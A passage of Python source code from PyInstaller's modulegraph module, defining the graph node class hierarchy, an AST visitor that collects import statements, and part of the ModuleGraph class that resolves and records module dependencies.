    """ Convert code object to a .pyc pseudo-file """
    if sys.version_info >= (3, 7):
        header = importlib.util.MAGIC_NUMBER + (b'\0' * 12)
    elif sys.version_info >= (3, 4):
        header = importlib.util.MAGIC_NUMBER + (b'\0' * 8)
    else:
        header = importlib.util.MAGIC_NUMBER + (b'\0' * 4)
    return BytesIO(header + marshal.dumps(co))


def AddPackagePath(packagename, path):
    warnings.warn(
        "Use addPackagePath instead of AddPackagePath",
        DeprecationWarning)
    addPackagePath(packagename, path)


def addPackagePath(packagename, path):
    paths = _packagePathMap.get(packagename, [])
    paths.append(path)
    _packagePathMap[packagename] = paths


#FIXME: What is this? Do we actually need this? This appears to provide
#significantly more fine-grained metadata than PyInstaller will ever require.
#It consumes a great deal of space (slots or no slots), since we store an
#instance of this class for each edge of the graph.
class DependencyInfo (namedtuple("DependencyInfo",
                      ["conditional", "function", "tryexcept", "fromlist"])):
    __slots__ = ()

    def _merged(self, other):
        if (not self.conditional and not self.function and not self.tryexcept) \
           or (not other.conditional and not other.function and not other.tryexcept):
            return DependencyInfo(
                conditional=False,
                function=False,
                tryexcept=False,
                fromlist=self.fromlist and other.fromlist)

        else:
            return DependencyInfo(
                    conditional=self.conditional or other.conditional,
                    function=self.function or other.function,
                    tryexcept=self.tryexcept or other.tryexcept,
                    fromlist=self.fromlist and other.fromlist)


#FIXME: Shift the following Node class hierarchy into a new
#"PyInstaller.lib.modulegraph.node" module. This module is much too long.
#FIXME: Refactor "_deferred_imports" from a tuple into a proper lightweight
#class leveraging "__slots__". If not for backward compatibility, we'd just
#leverage a named tuple -- but this should do just as well.
#FIXME: Move the "packagepath" attribute into the "Package" class. Only
#packages define the "__path__" special attribute. The codebase currently
#erroneously tests whether "module.packagepath is not None" to determine
#whether a node is a package or not. However, "isinstance(module, Package)" is
#a significantly more reliable test. Refactor the former into the latter.
class Node:
    """
    Abstract base class (ABC) of all objects added to a `ModuleGraph`.

    Attributes
    ----------
    code : codeobject
        Code object of the pure-Python module corresponding to this graph node
        if any _or_ `None` otherwise.
    graphident : str
        Synonym of `identifier` required by the `ObjectGraph` superclass of the
        `ModuleGraph` class. For readability, the `identifier` attribute should
        typically be used instead.
    filename : str
        Absolute path of this graph node's corresponding module, package, or C
        extension if any _or_ `None` otherwise.
    identifier : str
        Fully-qualified name of this graph node's corresponding module,
        package, or C extension.
    packagepath : str
        List of the absolute paths of all directories comprising this graph
        node's corresponding package. If this is a:
        * Non-namespace package, this list contains exactly one path.
        * Namespace package, this list contains one or more paths.
    _deferred_imports : list
        List of all target modules imported by the source module corresponding
        to this graph node whole importations have been deferred for subsequent
        processing in between calls to the `_ModuleGraph._scan_code()` and
        `_ModuleGraph._process_imports()` methods for this source module _or_
        `None` otherwise. Each element of this list is a 3-tuple
        `(have_star, _safe_import_hook_args, _safe_import_hook_kwargs)`
        collecting the importation of a target module from this source module
        for subsequent processing, where:
        * `have_star` is a boolean `True` only if this is a `from`-style star
          import (e.g., resembling `from {target_module_name} import *`).
        * `_safe_import_hook_args` is a (typically non-empty) sequence of all
          positional arguments to be passed to the `_safe_import_hook()` method
          to add this importation to the graph.
        * `_safe_import_hook_kwargs` is a (typically empty) dictionary of all
          keyword arguments to be passed to the `_safe_import_hook()` method
          to add this importation to the graph.
        Unlike functional languages, Python imposes a maximum depth on the
        interpreter stack (and hence recursion). On breaching this depth,
        Python raises a fatal `RuntimeError` exception. Since `ModuleGraph`
        parses imports recursively rather than iteratively, this depth _was_
        commonly breached before the introduction of this list. Python
        environments installing a large number of modules (e.g., Anaconda) were
        particularly susceptible. Why? Because `ModuleGraph` concurrently
        descended through both the abstract syntax trees (ASTs) of all source
        modules being parsed _and_ the graph of all target modules imported by
        these source modules being built. The stack thus consisted of
        alternating layers of AST and graph traversal. To unwind such
        alternation and effectively halve the stack depth, `ModuleGraph` now
        descends through the abstract syntax tree (AST) of each source module
        being parsed and adds all importations originating within this module
        to this list _before_ descending into the graph of these importations.
        See PyInstaller/PyInstaller/#1289 for further details.
    _global_attr_names : set
        Set of the unqualified names of all global attributes (e.g., classes,
        variables) defined in the pure-Python module corresponding to this
        graph node if any _or_ the empty set otherwise. This includes the names
        of all attributes imported via `from`-style star imports from other
        existing modules (e.g., `from {target_module_name} import *`). This
        set is principally used to differentiate the non-ignorable importation
        of non-existent submodules in a package from the ignorable importation
        of existing global attributes defined in that package's pure-Python
        `__init__` submodule in `from`-style imports (e.g., `bar` in
        `from foo import bar`, which may be either a submodule or attribute of
        `foo`), as such imports ambiguously allow both. This set is _not_ used
        to differentiate submodules from attributes in `import`-style imports
        (e.g., `bar` in `import foo.bar`, which _must_ be a submodule of
        `foo`), as such imports unambiguously allow only submodules.
    _starimported_ignored_module_names : set
        Set of the fully-qualified names of all existing unparsable modules
        that the existing parsable module corresponding to this graph node
        attempted to perform one or more "star imports" from. If this module
        either does _not_ exist or does but is unparsable, this is the empty
        set. Equivalently, this set contains each fully-qualified name
        `{trg_module_name}` for which:
        * This module contains an import statement of the form
          `from {trg_module_name} import *`.
        * The module whose name is `{trg_module_name}` exists but is _not_
          parsable by `ModuleGraph` (e.g., due to _not_ being pure-Python).
        **This set is currently defined but otherwise ignored.**
    _submodule_basename_to_node : dict
        Dictionary mapping from the unqualified name of each submodule
        contained by the parent module corresponding to this graph node to that
        submodule's graph node. If this dictionary is non-empty, this parent
        module is typically but _not_ always a package (e.g., the non-package
        `os` module containing the `os.path` submodule).
    """

    __slots__ = [
        'code',
        'filename',
        'graphident',
        'identifier',
        'packagepath',
        '_deferred_imports',
        '_global_attr_names',
        '_starimported_ignored_module_names',
        '_submodule_basename_to_node',
    ]

    def __init__(self, identifier):
        """
        Initialize this graph node.

        Parameters
        ----------
        identifier : str
            Fully-qualified name of this graph node's corresponding module,
            package, or C extension.
        """

        self.code = None
        self.filename = None
        self.graphident = identifier
        self.identifier = identifier
        self.packagepath = None
        self._deferred_imports = None
        self._global_attr_names = set()
        self._starimported_ignored_module_names = set()
        self._submodule_basename_to_node = dict()


    def is_global_attr(self, attr_name):
        """
        `True` only if the pure-Python module corresponding to this graph node
        defines a global attribute (e.g., class, variable) with the passed
        name.

        If this module is actually a package, this method instead returns
        `True` only if this package's pure-Python `__init__` submodule defines
        such a global attribute. In this case, note that this package may still
        contain an importable submodule of the same name. Callers should
        attempt to import this attribute as a submodule of this package
        _before_ assuming this attribute to be an ignorable global. See
        "Examples" below for further details.

        Parameters
        ----------
        attr_name : str
            Unqualified name of the attribute to be tested.

        Returns
        ----------
        bool
            `True` only if this module defines this global attribute.

        Examples
        ----------
        Consider a hypothetical module `foo` containing submodules `bar` and
        `__init__` where the latter assigns `bar` to be a global variable
        (possibly star-exported via the special `__all__` global variable):

        >>> # In "foo.__init__":
        >>> bar = 3.1415

        Python 2 and 3 both permissively permit this. This method returns
        `True` in this case (i.e., when called on the `foo` package's graph
        node, passed the attribute name `bar`) despite the importability of the
        `foo.bar` submodule.
        """

        return attr_name in self._global_attr_names


    def is_submodule(self, submodule_basename):
        """
        `True` only if the parent module corresponding to this graph node
        contains the submodule with the passed name.

        If `True`, this parent module is typically but _not_ always a package
        (e.g., the non-package `os` module containing the `os.path` submodule).

        Parameters
        ----------
        submodule_basename : str
            Unqualified name of the submodule to be tested.

        Returns
        ----------
        bool
            `True` only if this parent module contains this submodule.
        """

        return submodule_basename in self._submodule_basename_to_node


    def add_global_attr(self, attr_name):
        """
        Record the global attribute (e.g., class, variable) with the passed
        name to be defined by the pure-Python module corresponding to this
        graph node.

        If this module is actually a package, this method instead records this
        attribute to be defined by this package's pure-Python `__init__`
        submodule.

        Parameters
        ----------
        attr_name : str
            Unqualified name of the attribute to be added.
        """

        self._global_attr_names.add(attr_name)


    def add_global_attrs_from_module(self, target_module):
        """
        Record all global attributes (e.g., classes, variables) defined by the
        target module corresponding to the passed graph node to also be defined
        by the source module corresponding to this graph node.

        If the source module is actually a package, this method instead records
        these attributes to be defined by this package's pure-Python `__init__`
        submodule.

        Parameters
        ----------
        target_module : Node
            Graph node of the target module to import attributes from.
        """

        self._global_attr_names.update(target_module._global_attr_names)


    def add_submodule(self, submodule_basename, submodule_node):
        """
        Add the submodule with the passed name and previously imported graph
        node to the parent module corresponding to this graph node.

        This parent module is typically but _not_ always a package (e.g., the
        non-package `os` module containing the `os.path` submodule).

        Parameters
        ----------
        submodule_basename : str
            Unqualified name of the submodule to add to this parent module.
        submodule_node : Node
            Graph node of this submodule.
        """

        self._submodule_basename_to_node[submodule_basename] = submodule_node


    def get_submodule(self, submodule_basename):
        """
        Graph node of the submodule with the passed name in the parent module
        corresponding to this graph node.

        If this parent module does _not_ contain this submodule, an exception
        is raised. Else, this parent module is typically but _not_ always a
        package (e.g., the non-package `os` module containing the `os.path`
        submodule).

        Parameters
        ----------
        module_basename : str
            Unqualified name of the submodule to retrieve.

        Returns
        ----------
        Node
            Graph node of this submodule.
        """

        return self._submodule_basename_to_node[submodule_basename]


    def get_submodule_or_none(self, submodule_basename):
        """
        Graph node of the submodule with the passed unqualified name in the
        parent module corresponding to this graph node if this module contains
        this submodule _or_ `None`.

        This parent module is typically but _not_ always a package (e.g., the
        non-package `os` module containing the `os.path` submodule).

        Parameters
        ----------
        submodule_basename : str
            Unqualified name of the submodule to retrieve.

        Returns
        ----------
        Node
            Graph node of this submodule if this parent module contains this
            submodule _or_ `None`.
        """

        return self._submodule_basename_to_node.get(submodule_basename)


    def remove_global_attr_if_found(self, attr_name):
        """
        Record the global attribute (e.g., class, variable) with the passed
        name if previously recorded as defined by the pure-Python module
        corresponding to this graph node to be subsequently undefined by the
        same module.

        If this module is actually a package, this method instead records this
        attribute to be undefined by this package's pure-Python `__init__`
        submodule.

        This method is intended to be called on globals previously defined by
        this module that are subsequently undefined via the `del` built-in by
        this module, thus "forgetting" or "undoing" these globals.

        For safety, there exists no corresponding `remove_global_attr()`
        method. While defining this method is trivial, doing so would invite
        `KeyError` exceptions on scanning valid Python that lexically deletes a
        global in a scope under this module's top level (e.g., in a function)
        _before_ defining this global at this top level. Since `ModuleGraph`
        cannot and should not (re)implement a full-blown Python interpreter,
        ignoring out-of-order deletions is the only sane policy.

        Parameters
        ----------
        attr_name : str
            Unqualified name of the attribute to be removed.
        """

        if self.is_global_attr(attr_name):
            self._global_attr_names.remove(attr_name)

    def __eq__(self, other):
        try:
            otherIdent = getattr(other, 'graphident')
        except AttributeError:
            return False

        return self.graphident == otherIdent

    def __ne__(self, other):
        try:
            otherIdent = getattr(other, 'graphident')
        except AttributeError:
            return True

        return self.graphident != otherIdent

    def __lt__(self, other):
        try:
            otherIdent = getattr(other, 'graphident')
        except AttributeError:
            return NotImplemented

        return self.graphident < otherIdent

    def __le__(self, other):
        try:
            otherIdent = getattr(other, 'graphident')
        except AttributeError:
            return NotImplemented

        return self.graphident <= otherIdent

    def __gt__(self, other):
        try:
            otherIdent = getattr(other, 'graphident')
        except AttributeError:
            return NotImplemented

        return self.graphident > otherIdent

    def __ge__(self, other):
        try:
            otherIdent = getattr(other, 'graphident')
        except AttributeError:
            return NotImplemented

        return self.graphident >= otherIdent

    def __hash__(self):
        return hash(self.graphident)

    def infoTuple(self):
        return (self.identifier,)

    def __repr__(self):
        return '%s%r' % (type(self).__name__, self.infoTuple())


# TODO: This indirection is, frankly, unnecessary. The
# ModuleGraph.alias_module() should directly add the desired AliasNode instance
# to the graph rather than indirectly adding an Alias instance to the
# "lazynodes" dictionary.
class Alias(str):
    """
    Placeholder aliasing an existing source module to a non-existent target
    module (i.e., the desired alias).

    For obscure reasons, this class subclasses `str`. Each instance of this
    class is the fully-qualified name of the existing source module being
    aliased. Unlike the related `AliasNode` class, instances of this class are
    _not_ actual nodes and hence _not_ added to the graph; they only facilitate
    communication between the `ModuleGraph.alias_module()` and
    `ModuleGraph.find_node()` methods.
    """


class AliasNode(Node):
    """
    Graph node representing the aliasing of an existing source module under a
    non-existent target module name (i.e., the desired alias).
    """

    def __init__(self, name, node):
        """
        Initialize this alias.

        Parameters
        ----------
        name : str
            Fully-qualified name of the non-existent target module to be
            created (as an alias of the existing source module).
        node : Node
            Graph node of the existing source module being aliased.
        """
        super(AliasNode, self).__init__(name)

        #FIXME: Why only some? Why not *EVERYTHING* except "graphident", which
        #must remain equal to "name" for lookup purposes? This is, after all,
        #an alias. The idea is for the two nodes to effectively be the same.

        # Copy some attributes from this source module into this target alias.
        for attr_name in (
            'identifier', 'packagepath',
            '_global_attr_names', '_starimported_ignored_module_names',
            '_submodule_basename_to_node'):
            if hasattr(node, attr_name):
                setattr(self, attr_name, getattr(node, attr_name))


    def infoTuple(self):
        return (self.graphident, self.identifier)


class BadModule(Node):
    pass


class ExcludedModule(BadModule):
    pass


class MissingModule(BadModule):
    pass


class InvalidRelativeImport (BadModule):
    def __init__(self, relative_path, from_name):
        identifier = relative_path
        if relative_path.endswith('.'):
            identifier += from_name
        else:
            identifier += '.' + from_name
        super(InvalidRelativeImport, self).__init__(identifier)
        self.relative_path = relative_path
        self.from_name = from_name

    def infoTuple(self):
        return (self.relative_path, self.from_name)


class Script(Node):
    def __init__(self, filename):
        super(Script, self).__init__(filename)
        self.filename = filename

    def infoTuple(self):
        return (self.filename,)


class BaseModule(Node):
    def __init__(self, name, filename=None, path=None):
        super(BaseModule, self).__init__(name)
        self.filename = filename
        self.packagepath = path

    def infoTuple(self):
        return tuple(filter(None, (self.identifier, self.filename, self.packagepath)))


class BuiltinModule(BaseModule):
    pass


class SourceModule(BaseModule):
    pass


class InvalidSourceModule(SourceModule):
    pass


class CompiledModule(BaseModule):
    pass


class InvalidCompiledModule(BaseModule):
    pass


class Extension(BaseModule):
    pass


class Package(BaseModule):
    """
    Graph node representing a non-namespace package.
    """
    pass


class ExtensionPackage(Extension, Package):
    """
    Graph node representing a package where the __init__ module is an extension
    module.
    """
    pass


class NamespacePackage(Package):
    """
    Graph node representing a namespace package.
    """
    pass


class RuntimeModule(BaseModule):
    """
    Graph node representing a non-package Python module dynamically defined at
    runtime.

    Most modules are statically defined on-disk as standard Python files.
    Some modules, however, are dynamically defined in-memory at runtime
    (e.g., `gi.repository.Gst`, dynamically defined by the statically
    defined `gi.repository.__init__` module).

    This node represents such a runtime module. Since this is _not_ a package,
    all attempts to import submodules from this module in `from`-style import
    statements (e.g., the `queue` submodule in `from six.moves import queue`)
    will be silently ignored.

    To ensure that the parent package of this module if any is also imported
    and added to the graph, this node is typically added to the graph by
    calling the `ModuleGraph.add_module()` method.
    """
    pass


class RuntimePackage(Package):
    """
    Graph node representing a non-namespace Python package dynamically defined
    at runtime.

    Most packages are statically defined on-disk as standard subdirectories
    containing `__init__.py` files. Some packages, however, are dynamically
    defined in-memory at runtime (e.g., `six.moves`, dynamically defined by
    the statically defined `six` module).

    This node represents such a runtime package. All attributes imported from
    this package in `from`-style import statements that are submodules of this
    package (e.g., the `queue` submodule in `from six.moves import queue`) will
    be imported rather than ignored.

    To ensure that the parent package of this package if any is also imported
    and added to the graph, this node is typically added to the graph by
    calling the `ModuleGraph.add_module()` method.
    """
    pass


#FIXME: Safely removable. We don't actually use this anywhere. After removing
#this class, remove the corresponding entry from "compat".
class FlatPackage(BaseModule):
    def __init__(self, *args, **kwds):
        warnings.warn(
            "This class will be removed in a future version of modulegraph",
            DeprecationWarning)
        super(FlatPackage, *args, **kwds)


#FIXME: Safely removable. We don't actually use this anywhere. After removing
#this class, remove the corresponding entry from "compat".
class ArchiveModule(BaseModule):
    def __init__(self, *args, **kwds):
        warnings.warn(
            "This class will be removed in a future version of modulegraph",
            DeprecationWarning)
        super(FlatPackage, *args, **kwds)


# HTML templates for ModuleGraph generator
header = """\
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>%(TITLE)s</title>
    <style>
      .node { padding: 0.5em 0 0.5em; border-top: thin grey dotted; }
      .moduletype { font: smaller italic }
      .node a { text-decoration: none; color: #006699; }
      .node a:visited { text-decoration: none; color: #2f0099; }
    </style>
  </head>
  <body>
    <h1>%(TITLE)s</h1>"""
entry = """
<div class="node">
  <a name="%(NAME)s"></a>
  %(CONTENT)s
</div>"""
contpl = """<tt>%(NAME)s</tt> <span class="moduletype">%(TYPE)s</span>"""
contpl_linked = """\
<a target="code" href="%(URL)s" type="text/plain"><tt>%(NAME)s</tt></a>
<span class="moduletype">%(TYPE)s</span>"""
imports = """\
  <div class="import">
%(HEAD)s:
  %(LINKS)s
  </div>
"""
footer = """
  </body>
</html>"""


def _ast_names(names):
    result = []
    for nm in names:
        if isinstance(nm, ast.alias):
            result.append(nm.name)
        else:
            result.append(nm)

    result = [r for r in result if r != '__main__']
    return result


def uniq(seq):
    """Remove duplicates from a list, preserving order"""
    # Taken from https://stackoverflow.com/questions/480214
    seen = set()
    seen_add = seen.add
    return [x for x in seq if not (x in seen or seen_add(x))]


if sys.version_info[0] == 2:
    DEFAULT_IMPORT_LEVEL = -1
else:
    DEFAULT_IMPORT_LEVEL = 0


class _Visitor(ast.NodeVisitor):
    def __init__(self, graph, module):
        self._graph = graph
        self._module = module
        self._level = DEFAULT_IMPORT_LEVEL
        self._in_if = [False]
        self._in_def = [False]
        self._in_tryexcept = [False]

    @property
    def in_if(self):
        return self._in_if[-1]

    @property
    def in_def(self):
        return self._in_def[-1]

    @property
    def in_tryexcept(self):
        return self._in_tryexcept[-1]


    def _collect_import(self, name, fromlist, level):
        if sys.version_info[0] == 2:
            if name == '__future__' and 'absolute_import' in (fromlist or ()):
                self._level = 0

        have_star = False
        if fromlist is not None:
            fromlist = uniq(fromlist)
            if '*' in fromlist:
                fromlist.remove('*')
                have_star = True

        # Record this import as originating from this module for subsequent
        # handling by the _process_imports() method.
        self._module._deferred_imports.append(
            (have_star,
             (name, self._module, fromlist, level),
             {'edge_attr': DependencyInfo(
                 conditional=self.in_if,
                 tryexcept=self.in_tryexcept,
                 function=self.in_def,
                 fromlist=False)}))


    def visit_Import(self, node):
        for nm in _ast_names(node.names):
            self._collect_import(nm, None, self._level)

    def visit_ImportFrom(self, node):
        level = node.level if node.level != 0 else self._level
        self._collect_import(node.module or '', _ast_names(node.names), level)

    def visit_If(self, node):
        self._in_if.append(True)
        self.generic_visit(node)
        self._in_if.pop()

    def visit_FunctionDef(self, node):
        self._in_def.append(True)
        self.generic_visit(node)
        self._in_def.pop()

    visit_AsyncFunctionDef = visit_FunctionDef

    def visit_Try(self, node):
        self._in_tryexcept.append(True)
        self.generic_visit(node)
        self._in_tryexcept.pop()

    def visit_TryExcept(self, node):
        self._in_tryexcept.append(True)
        self.generic_visit(node)
        self._in_tryexcept.pop()

    def visit_Expression(self, node):
        # Expression node's cannot contain import statements or
        # other nodes that are relevant for us.
        pass

    # Expression isn't actually used as such in AST trees,
    # therefore define visitors for all kinds of expression nodes.
    visit_BoolOp = visit_Expression
    visit_BinOp = visit_Expression
    visit_UnaryOp = visit_Expression
    visit_Lambda = visit_Expression
    visit_IfExp = visit_Expression
    visit_Dict = visit_Expression
    visit_Set = visit_Expression
    visit_ListComp = visit_Expression
    visit_SetComp = visit_Expression
    visit_ListComp = visit_Expression
    visit_GeneratorExp = visit_Expression
    visit_Compare = visit_Expression
    visit_Yield = visit_Expression
    visit_YieldFrom = visit_Expression
    visit_Await = visit_Expression
    visit_Call = visit_Expression
    visit_Await = visit_Expression


class ModuleGraph(ObjectGraph):
    """
    Directed graph whose nodes represent modules and edges represent
    dependencies between these modules.
    """


    def createNode(self, cls, name, *args, **kw):
        m = self.find_node(name)

        if m is None:
            #assert m is None, m
            m = super(ModuleGraph, self).createNode(cls, name, *args, **kw)

        return m


    def __init__(self, path=None, excludes=(), replace_paths=(), implies=(), graph=None, debug=0):
        super(ModuleGraph, self).__init__(graph=graph, debug=debug)
        if path is None:
            path = sys.path
        self.path = path
        self.lazynodes = {}
        # excludes is stronger than implies
        self.lazynodes.update(dict(implies))
        for m in excludes:
            self.lazynodes[m] = None
        self.replace_paths = replace_paths

        # Maintain own list of package path mappings in the scope of Modulegraph
        # object.
        self._package_path_map = _packagePathMap

        # Legacy namespace-package paths. Initialized by scan_legacy_namespace_packages.
        self._legacy_ns_packages = {}

    def scan_legacy_namespace_packages(self):
        """
        Resolve extra package `__path__` entries for legacy setuptools-based
        namespace packages, by reading `namespace_packages.txt` from dist
        metadata.
        """
        legacy_ns_packages = defaultdict(lambda: set())

        for dist in importlib_metadata.distributions():
            ns_packages = dist.read_text("namespace_packages.txt")
            if ns_packages is None:
                continue
            ns_packages = ns_packages.splitlines()
            # Obtain path to dist metadata directory
            dist_path = getattr(dist, '_path')
            if dist_path is None:
                continue
            for package_name in ns_packages:
                path = os.path.join(
                    str(dist_path.parent),  # might be zipfile.Path if in zipped .egg
                    *package_name.split('.'),
                )
                legacy_ns_packages[package_name].add(path)

        # Convert into dictionary of lists
        self._legacy_ns_packages = {
            package_name: list(paths)
            for package_name, paths in legacy_ns_packages.items()
        }

    def implyNodeReference(self, node, other, edge_data=None):
        """
        Create a reference from the passed source node to the passed other node,
        implying the former to depend upon the latter.

        While the source node _must_ be an existing graph node, the target node
        may be either an existing graph node _or_ a fully-qualified module name.
        In the latter case, the module with that name and all parent packages of
        that module will be imported _without_ raising exceptions and for each
        newly imported module or package:

        * A new graph node will be created for that module or package.
        * A reference from the passed source node to that module or package will
          be created.

        This method allows dependencies between Python objects _not_ importable
        with standard techniques (e.g., module aliases, C extensions).

        Parameters
        ----------
        node : str
            Graph node for this reference's source module or package.
        other : {Node, str}
            Either a graph node _or_ fully-qualified name for this reference's
            target module or package.
        """

        if isinstance(other, Node):
            self._updateReference(node, other, edge_data)
        else:
            if isinstance(other, tuple):
                raise ValueError(other)
            others = self._safe_import_hook(other, node, None)
            for other in others:
                self._updateReference(node, other, edge_data)

    def outgoing(self, fromnode):
        """
        Yield all nodes that `fromnode` dependes on (that is,
        all modules that `fromnode` imports.
        """

        node = self.find_node(fromnode)
        out_edges, _ = self.get_edges(node)
        return out_edges

    getReferences = outgoing

    def incoming(self, tonode, collapse_missing_modules=True):
        node = self.find_node(tonode)
        _, in_edges = self.get_edges(node)

        if collapse_missing_modules:
            for n in in_edges:
                if isinstance(n, MissingModule):
                    for n in self.incoming(n, False):
                        yield n

                else:
                    yield n

        else:
            for n in in_edges:
                yield n

    getReferers = incoming

    def hasEdge(self, fromnode, tonode):
        """ Return True iff there is an edge from 'fromnode' to 'tonode' """
        fromnode = self.find_node(fromnode)
        tonode = self.find_node(tonode)

        return self.graph.edge_by_node(fromnode, tonode) is not None

    def foldReferences(self, packagenode):
        """
        Create edges to/from `packagenode` based on the edges to/from all
        submodules of that package _and_ then hide the graph nodes
        corresponding to those submodules.
        """

        pkg = self.find_node(packagenode)

        for n in self.nodes():
            if not n.identifier.startswith(pkg.identifier + '.'):
                continue

            iter_out, iter_inc = self.get_edges(n)
            for other in iter_out:
                if other.identifier.startswith(pkg.identifier + '.'):
                    continue

                if not self.hasEdge(pkg, other):
                    # Ignore circular dependencies
                    self._updateReference(pkg, other, 'pkg-internal-import')

            for other in iter_inc:
                if other.identifier.startswith(pkg.identifier + '.'):
                    # Ignore circular dependencies
                    continue

                if not self.hasEdge(other, pkg):
                    self._updateReference(other, pkg, 'pkg-import')

            self.graph.hide_node(n)

    # TODO: unfoldReferences(pkg) that restore the submodule nodes and
    #       removes 'pkg-import' and 'pkg-internal-import' edges. Care should
    #       be taken to ensure that references are correct if multiple packages
    #       are folded and then one of them in unfolded

    def _updateReference(self, fromnode, tonode, edge_data):
        try:
            ed = self.edgeData(fromnode, tonode)
        except (KeyError, GraphError):  # XXX: Why 'GraphError'
            return self.add_edge(fromnode, tonode, edge_data)

        if not (isinstance(ed, DependencyInfo) and isinstance(edge_data, DependencyInfo)):
            self.updateEdgeData(fromnode, tonode, edge_data)
        else:
            self.updateEdgeData(fromnode, tonode, ed._merged(edge_data))

    def add_edge(self, fromnode, tonode, edge_data='direct'):
        """
        Create a reference from fromnode to tonode
        """
        return super(ModuleGraph, self).createReference(fromnode, tonode, edge_data=edge_data)

    createReference = add_edge

    def find_node(self, name, create_nspkg=True):
        """
        Graph node uniquely identified by the passed fully-qualified module
        name if this module has been added to the graph _or_ `None` otherwise.

        If (in order):

        . A namespace package with this identifier exists _and_ the passed
          `create_nspkg` parameter is `True`, this package will be
          instantiated and returned.
        . A lazy node with this identifier and:
          * No dependencies exists, this node will be instantiated and
            returned.
          * Dependencies exists, this node and all transitive dependencies of
            this node be instantiated and this node returned.
        . A non-lazy node with this identifier exists, this node will be
          returned as is.

        Parameters
        ----------
        name : str
            Fully-qualified name of the module whose graph node is to be found.
        create_nspkg : bool
            Ignored.

        Returns
        ----------
        Node
            Graph node of this module if added to the graph _or_ `None`
            otherwise.
        """

        data = super(ModuleGraph, self).findNode(name)

        if data is not None:
            return data

        if name in self.lazynodes:
            deps = self.lazynodes.pop(name)

            if deps is None:
                # excluded module
                m = self.createNode(ExcludedModule, name)
            elif isinstance(deps, Alias):
                other = self._safe_import_hook(deps, None, None).pop()
                m = self.createNode(AliasNode, name, other)
                self.implyNodeReference(m, other)
            else:
                m = self._safe_import_hook(name, None, None).pop()
                for dep in deps:
                    self.implyNodeReference(m, dep)

            return m

        return None

    findNode = find_node
    iter_graph = ObjectGraph.flatten

    def add_script(self, pathname, caller=None):
        """
        Create a node by path (not module name).  It is expected to be a Python
        source file, and will be scanned for dependencies.
        """
        self.msg(2, "run_script", pathname)

        pathname = os.path.realpath(pathname)
        m = self.find_node(pathname)
        if m is not None:
            return m

        if sys.version_info[0] != 2:
            with open(pathname, 'rb') as fp:
                encoding = util.guess_encoding(fp)

            with open(pathname, _READ_MODE, encoding=encoding) as fp:
                contents = fp.read() + '\n'
            if contents.startswith(BOM):
                # Ignore BOM at start of input
                contents = contents[1:]

        else:
            with open(pathname, _READ_MODE) as fp:
                contents = fp.read() + '\n'

        co_ast = compile(contents, pathname, 'exec', ast.PyCF_ONLY_AST, True)
        co = compile(co_ast, pathname, 'exec', 0, True)
        m = self.createNode(Script, pathname)
        self._updateReference(caller, m, None)
        n = self._scan_code(m, co, co_ast)
        self._process_imports(n)
        m.code = co
        if self.replace_paths:
            m.code = self._replace_paths_in_code(m.code)
        return m


    #FIXME: For safety, the "source_module" parameter should default to the
    #root node of the current graph if unpassed. This parameter currently
    #defaults to None, thus disconnected modules imported in this manner (e.g.,
    #hidden imports imported by depend.analysis.initialize_modgraph()).
    def import_hook(
        self,
        target_module_partname,
        source_module=None,
        target_attr_names=None,
        level=DEFAULT_IMPORT_LEVEL,
        edge_attr=None,
    ):
        """
        Import the module with the passed name, all parent packages of this
        module, _and_ all submodules and attributes in this module with the
        passed names from the previously imported caller module signified by
        the passed graph node.

        Unlike most import methods (e.g., `_safe_import_hook()`), this method
        is designed to be publicly called by both external and internal
        callers and hence is public.

        Parameters
        ----------
        target_module_partname : str
            Partially-qualified name of the target module to be imported. See
            `_safe_import_hook()` for further details.
        source_module : Node
            Graph node for the previously imported **source module** (i.e.,
            module containing the `import` statement triggering the call to
            this method) _or_ `None` if this module is to be imported in a
            "disconnected" manner. **Passing `None` is _not_ recommended.**
            Doing so produces a disconnected graph in which the graph node
            created for the module to be imported will be disconnected and
            hence unreachable from all other nodes -- which frequently causes
            subtle issues in external callers (namely PyInstaller, which
            silently ignores unreachable nodes).
        target_attr_names : list
            List of the unqualified names of all submodules and attributes to
            be imported from the module to be imported if this is a "from"-
            style import (e.g., `[encode_base64, encode_noop]` for the import
            `from email.encoders import encode_base64, encode_noop`) _or_
            `None` otherwise.
        level : int
            Whether to perform an absolute or relative import. See
            `_safe_import_hook()` for further details.

        Returns
        ----------
        list
            List of the graph nodes created for all modules explicitly imported
            by this call, including the passed module and all submodules listed
            in `target_attr_names` _but_ excluding all parent packages
            implicitly imported by this call. If `target_attr_names` is `None`
            or the empty list, this is guaranteed to be a list of one element:
            the graph node created for the passed module.

        Raises
        ----------
        ImportError
            If the target module to be imported is unimportable.
        """
        self.msg(3, "_import_hook", target_module_partname, source_module, source_module, level)

        source_package = self._determine_parent(source_module)
        target_package, target_module_partname = self._find_head_package(
            source_package, target_module_partname, level)

        self.msgin(4, "load_tail", target_package, target_module_partname)

        submodule = target_package
        while target_module_partname:
            i = target_module_partname.find('.')
            if i < 0:
                i = len(target_module_partname)
            head, target_module_partname = target_module_partname[
                :i], target_module_partname[i+1:]
            mname = "%s.%s" % (submodule.identifier, head)
            submodule = self._safe_import_module(head, mname, submodule)

            if submodule is None:
                # FIXME: Why do we no longer return a MissingModule instance?
                # result = self.createNode(MissingModule, mname)
                self.msgout(4, "raise ImportError: No module named", mname)
                raise ImportError("No module named " + repr(mname))

        self.msgout(4, "load_tail ->", submodule)

        target_module = submodule
        target_modules = [target_module]

        # If this is a "from"-style import *AND* this target module is
        # actually a package, import all submodules of this package specified
        # by the "import" half of this import (e.g., the submodules "bar" and
        # "car" of the target package "foo" in "from foo import bar, car").
        #
        # If this target module is a non-package, it could still contain
        # importable submodules (e.g., the non-package `os` module containing
        # the `os.path` submodule). In this case, these submodules are already
        # imported by this target module's pure-Python code. Since our import
        # scanner already detects such imports, these submodules need *NOT* be
        # reimported here.
        if target_attr_names and isinstance(target_module,
                                            (Package, AliasNode)):
            for target_submodule in self._import_importable_package_submodules(
                target_module, target_attr_names):
                if target_submodule not in target_modules:
                    target_modules.append(target_submodule)

        # Add an edge from this source module to each target module.
        for target_module in target_modules:
            self._updateReference(
                source_module, target_module, edge_data=edge_attr)

        return target_modules


    def _determine_parent(self, caller):
        """
        Determine the package containing a node.
        """
        self.msgin(4, "determine_parent", caller)

        parent = None
        if caller:
            pname = caller.identifier

            if isinstance(caller, Package):
                parent = caller

            elif '.' in pname:
                pname = pname[:pname.rfind('.')]
                parent = self.find_node(pname)

            elif caller.packagepath:
                # XXX: I have no idea why this line
